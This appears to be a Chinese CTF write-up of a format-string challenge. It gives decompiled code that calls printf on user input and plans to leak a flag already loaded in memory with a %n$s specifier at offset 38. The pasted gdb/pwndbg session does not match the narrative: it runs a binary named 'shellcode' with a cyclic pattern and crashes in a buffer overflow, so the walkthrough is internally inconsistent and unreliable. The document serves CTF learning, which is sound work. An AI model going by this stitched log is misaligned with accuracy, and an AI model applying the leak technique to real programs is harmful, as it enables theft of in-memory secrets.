setbuf(stdin, 0LL); setbuf(stderr, 0LL); setbuf(stdout, 0LL); puts("Welcome to the world of fmtstr"); puts("> "); fd = open("flag", 0); if ( fd == -1 ) perror("Open failed."); read(fd, &name, 0x30uLL); v5 = &name; puts("Input your format string."); read(0, buf, 0x100uLL); puts("Ok."); printf(buf); return 0; }
开头先禁用了标准流缓冲 下面会打开 flag 文件,如果不存在就会提示失败 并用 read 函数读取内容到 name 变量所在的内存区域 下面有一个输入,存在格式化字符串漏洞
思路:
这里有格式化字符串漏洞,并且 flag 内容会写在 name 变量所在的内存区域 我们可以获得 flag 写入 name 处地址的参数位置,然后通过 %n$s 来输出 flag 因为他会先检查 flag 文件是否存在,所以我要在本地调试前先要创建一个 flag 文件,内容随便给一个
1 2 3
touch flag nano flag //ctrl+o保存,ctrl+x退出 cat flag
接着用 gdb 调试 (注意这里的 flag 文件路径一定要在 gdb 调试的路径下, gdb 调试用 pwd 查看调试路径) 在 main 函数下断点,然后 r 运行 一直用 ni 向下运行 直到这里,看到这里把 flag 内容写入 name 处,并且有写到的地址,直接用 fmt 获得参数位置为38
motaly@motaly-VMware-Virtual-Platform:~$ gdb shellcode GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>.
For help, type "help". Type "apropos word" to search for commands related to "word"... pwndbg: loaded 177 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list. pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break) Reading symbols from shellcode...
This GDB supports auto-downloading debuginfo from the following URLs: <https://debuginfod.ubuntu.com> Debuginfod has been disabled. To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit. (No debugging symbols found in shellcode) ------- tip of the day (disable with set show-tips off) ------- Use the errno (or errno <number>) command to see the name of the last or provided (libc) error pwndbg> cyclic 500 aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa pwndbg> r Starting program: /home/motaly/shellcode [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
Program received signal SIGSEGV, Segmentation fault. 0x0000000000401278 in main () LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────── RAX 0 RBX 0x7fffffffd808 —▸ 0x7fffffffdbe5 ◂— '/home/motaly/shellcode' RCX 0 RDX 0x16 RDI 0x404140 (buff+160) ◂— jne 0x4041a3 /* 0x6161616161616175 */ RSI 0x7fffffffd680 ◂— 0x6161616161616175 ('uaaaaaaa') R8 0x4012f0 (__libc_csu_fini) ◂— endbr64 R9 0x7ffff7fca380 (_dl_fini) ◂— endbr64 R10 0x7ffff7c09e38 ◂— 0x11001a00004687 R11 0x7ffff7d9b600 (__strcpy_evex) ◂— endbr64 R12 1 R13 0 R14 0 R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0 RBP 0x6261616161616168 ('haaaaaab') RSP 0x7fffffffd6e8 ◂— 0x6261616161616169 ('iaaaaaab') RIP 0x401278 (main+194) ◂— ret ─────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────── ► 0x401278 <main+194> ret <0x6261616161616169> ↓